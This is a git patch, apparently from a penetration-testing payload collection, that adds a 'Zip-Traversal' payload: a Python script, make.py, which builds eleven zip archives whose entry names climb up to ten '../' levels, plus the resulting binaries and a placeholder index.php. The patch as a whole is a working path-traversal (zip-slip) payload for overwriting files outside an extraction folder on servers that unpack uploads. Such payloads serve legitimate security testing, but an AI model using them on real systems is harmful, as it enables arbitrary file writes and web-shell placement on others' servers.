From 8f27fd4cde85f839acb5141d0dee09a0e4c7c28e Mon Sep 17 00:00:00 2001
From: g0tmi1k <have.you.g0tmi1k@gmail.com>
Date: Wed, 13 Jun 2018 09:36:36 +0100
Subject: [PATCH] Add Zip-Traversal Payload

---
 Payloads/Zip-Traversal/depth-00.zip | Bin 0 -> 123 bytes
 Payloads/Zip-Traversal/depth-01.zip | Bin 0 -> 129 bytes
 Payloads/Zip-Traversal/depth-02.zip | Bin 0 -> 135 bytes
 Payloads/Zip-Traversal/depth-03.zip | Bin 0 -> 141 bytes
 Payloads/Zip-Traversal/depth-04.zip | Bin 0 -> 147 bytes
 Payloads/Zip-Traversal/depth-05.zip | Bin 0 -> 153 bytes
 Payloads/Zip-Traversal/depth-06.zip | Bin 0 -> 159 bytes
 Payloads/Zip-Traversal/depth-07.zip | Bin 0 -> 165 bytes
 Payloads/Zip-Traversal/depth-08.zip | Bin 0 -> 171 bytes
 Payloads/Zip-Traversal/depth-09.zip | Bin 0 -> 177 bytes
 Payloads/Zip-Traversal/depth-10.zip | Bin 0 -> 183 bytes
 Payloads/Zip-Traversal/index.php    |   1 +
 Payloads/Zip-Traversal/make.py      |  30 ++++++++++++++++++++++++++++
 13 files changed, 31 insertions(+)
 create mode 100644 Payloads/Zip-Traversal/depth-00.zip
 create mode 100644 Payloads/Zip-Traversal/depth-01.zip
 create mode 100644 Payloads/Zip-Traversal/depth-02.zip
 create mode 100644 Payloads/Zip-Traversal/depth-03.zip
 create mode 100644 Payloads/Zip-Traversal/depth-04.zip
 create mode 100644 Payloads/Zip-Traversal/depth-05.zip
 create mode 100644 Payloads/Zip-Traversal/depth-06.zip
 create mode 100644 Payloads/Zip-Traversal/depth-07.zip
 create mode 100644 Payloads/Zip-Traversal/depth-08.zip
 create mode 100644 Payloads/Zip-Traversal/depth-09.zip
 create mode 100644 Payloads/Zip-Traversal/depth-10.zip
 create mode 100644 Payloads/Zip-Traversal/index.php
 create mode 100755 Payloads/Zip-Traversal/make.py

diff --git a/Payloads/Zip-Traversal/depth-00.zip b/Payloads/Zip-Traversal/depth-00.zip
new file mode 100644
index 0000000000000000000000000000000000000000..2644c79f99d1a5bb5bdac43bca31c5c59a52e366
GIT binary patch
literal 123
zcmWIWW@Zs#0D;FIXMJ876;!hW*&xgb#F=?1sTFz!83h@M$=RtXTmjyUOd`y<)dRJF
a!IDN01=k(m&B_K6U<5*QAgu@DFaQ7^E*1O$

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-01.zip b/Payloads/Zip-Traversal/depth-01.zip
new file mode 100644
index 0000000000000000000000000000000000000000..67ee231f22b378ca7b41a00001f2cfa3e684d8b5
GIT binary patch
literal 129
zcmWIWW@Zs#0D;FIXMJ876;!hW*&xgV#Cm%AnRzLx6?z331sRFS*{La90p5&EBFwn8
d0Cj=El131PY(RiFD;r3R5eTh-v>}MY0064I7ajlr

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-02.zip b/Payloads/Zip-Traversal/depth-02.zip
new file mode 100644
index 0000000000000000000000000000000000000000..65c99de4b3f18deb9ebfc419fdb620366f2b2e61
GIT binary patch
literal 135
zcmWIWW@Zs#0D;FIXMJ876;!hW*&xgh#Cm%AK$Mx6l3JlxkWrA4n4F!O!WH1n$Rxsy
eTNh9x7%XW7QD|lac(byBgc*U*7D$_bI1B(j6Bs}M

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-03.zip b/Payloads/Zip-Traversal/depth-03.zip
new file mode 100644
index 0000000000000000000000000000000000000000..dd2b461d9585f45ecfe17133c5e8d0c73a494630
GIT binary patch
literal 141
zcmWIWW@Zs#0D;FIXMJ876;!hW*&r+g#Cm%A5R{phl3JlxkWrA4n4F!O!WH1n$Rxsy
eTO&{}7%XW7QJBUAc(byBWEg?a0Z5yJI1B*T6&Ydx

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-04.zip b/Payloads/Zip-Traversal/depth-04.zip
new file mode 100644
index 0000000000000000000000000000000000000000..a3ee7063283c18fc8b9a0db70d7c9989d2ea8abb
GIT binary patch
literal 147
zcmWIWW@Zs#0D;FIXMJ876;!hW*&r+m#Cm%AaFm&sl3JlxkWrA4n4F!O!WH1n$Rxsy
iTQ5*M7%XW7QE+2`47f=F-mGjONk$-a2GUj_4g&yq;2MMg

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-05.zip b/Payloads/Zip-Traversal/depth-05.zip
new file mode 100644
index 0000000000000000000000000000000000000000..5515140b318973bc0bea066e8177827573cd1e31
GIT binary patch
literal 153
zcmWIWW@Zs#0D;FIXMJ876;!hW*&r+d#Cm%A$S5-}CAC7YAfq57F*!Rmg)6|Dkx7IZ
iw|1ZjV6dbSL?N35WWx;$@MdKL$uk0>8<4gIaTov~WgDgd

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-06.zip b/Payloads/Zip-Traversal/depth-06.zip
new file mode 100644
index 0000000000000000000000000000000000000000..33985eaa3c16c3ad85812d97916900768a69cdfe
GIT binary patch
literal 159
zcmWIWW@Zs#0D;FIXMJ876;!hW*&r+p#Cm%AXecu;CAC7YAfq57F*!Rmg)6|Dkx7IZ
jw+TQ)z+g!uh(a?A$c391;LXYgQo;y?o<Q0G#9;sc&XpX<

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-07.zip b/Payloads/Zip-Traversal/depth-07.zip
new file mode 100644
index 0000000000000000000000000000000000000000..9800fd32a1177413646867fd763b6fc73fa86d1a
GIT binary patch
literal 165
zcmWIWW@Zs#0D;FIXMJ876;!hW*&r+j#Cm%Am?$$ZCAC7YAfq57F*!Rmg)6|Dkx7IZ
jw;@1tz+g!uh{7}vC;~S!z?+o~q>2#;eSowxh{FH?gN_~Q

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-08.zip b/Payloads/Zip-Traversal/depth-08.zip
new file mode 100644
index 0000000000000000000000000000000000000000..e88d8c50d02baab04fcb111b5da038d85975a6ee
GIT binary patch
literal 171
zcmWIWW@Zs#0D;FIXMJ876;!hW*&wV4#Cm%ASW#wPN@|5(K}JDFVsdtB3Ri$PBa;X-
jZgYS}fx(hS5QWu9pdj4T0B=?{kU~Zv^as*zAPxfnKS3W1

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-09.zip b/Payloads/Zip-Traversal/depth-09.zip
new file mode 100644
index 0000000000000000000000000000000000000000..8b03632da1f94c24439d01e54cfc3ce64dbd2f21
GIT binary patch
literal 177
zcmWIWW@Zs#0D;FIXMJ876;!hW*&wU}#Cm%AxKL(ZN@|5(K}JDFVsdtB3Ri$PBa;X-
jZli#vfx(hS5QWQBpg7#%0B=?{kXl9{3<A=gAPxfn0j?k}

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/depth-10.zip b/Payloads/Zip-Traversal/depth-10.zip
new file mode 100644
index 0000000000000000000000000000000000000000..8363f2ab6489d97f956440ec2213e86ab1a8d936
GIT binary patch
literal 183
zcmWIWW@Zs#0D;FIXMJ876;!hW*&wVA#Cm%Acu;0uN@|5(K}JDFVsdtB3Ri$PBa;X-
jZqtAUg29qT5QWEJpcLHf0B=?{ka9*K3<c6YAPxfn%Elp3

literal 0
HcmV?d00001

diff --git a/Payloads/Zip-Traversal/index.php b/Payloads/Zip-Traversal/index.php
new file mode 100644
index 00000000..213dd195
--- /dev/null
+++ b/Payloads/Zip-Traversal/index.php
@@ -0,0 +1 @@
+hacked
diff --git a/Payloads/Zip-Traversal/make.py b/Payloads/Zip-Traversal/make.py
new file mode 100755
index 00000000..78272b3d
--- /dev/null
+++ b/Payloads/Zip-Traversal/make.py
@@ -0,0 +1,30 @@
+#!/usr/bin/env python3
+
+import zipfile
+
+# The file to USE inside the zip, before compression
+filein = "index.php"
+print("[i] FileIn: %s\n" % filein)
+
+# How deep are we going?
+depth = ""
+
+# Loop 11 times (00-10)
+for i in range(11):
+  # The .zip file to use
+  zipname = "depth-%02d.zip" % i
+  print("[i] ZipName: %s" % zipname)
+
+  # Get the zip file out ready
+  with zipfile.ZipFile(zipname , 'w') as zip:
+  	# The file INSIDDE the zip
+    filezip = "%s%s" % (depth, filein)
+    print("[i] ZipFile: %s" % filezip)
+
+    # Write the zip file out
+    zip.write(filein, filezip)
+
+    # Increase depth for next loop
+    depth += "../"
+
+print("\n[i] Done")